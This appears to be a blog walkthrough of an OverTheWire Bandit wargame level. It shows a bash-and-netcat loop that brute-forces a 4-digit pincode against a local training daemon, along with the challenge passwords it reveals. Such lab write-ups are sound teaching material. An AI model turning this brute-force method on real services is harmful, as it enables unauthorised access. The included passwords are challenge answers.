Lessons Learned
Logging in
On a kali vm/ linux machine
Type:
Completing The Challenge
The Goal:
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
The Solution:
create a file in the /tmp folder, fill in the folder with the following:
for ((i=1000; i < 10000; i++)); do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002
In this code i looked up for loops, but i ended up looking up what to do to get a for loop on netcat, someone gave an answer with no context on Stack Overflow and it was the first result. a much better link is http://www.softpanorama.org/Scripting/Shellorama/Control_structures/pipes_in_loops.shtml, this link explains the concept quite a bit better.
then:
run the file
bandit24@bandit:~$ bash /tmp/hellotra
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
Exiting.
Comments
Post a Comment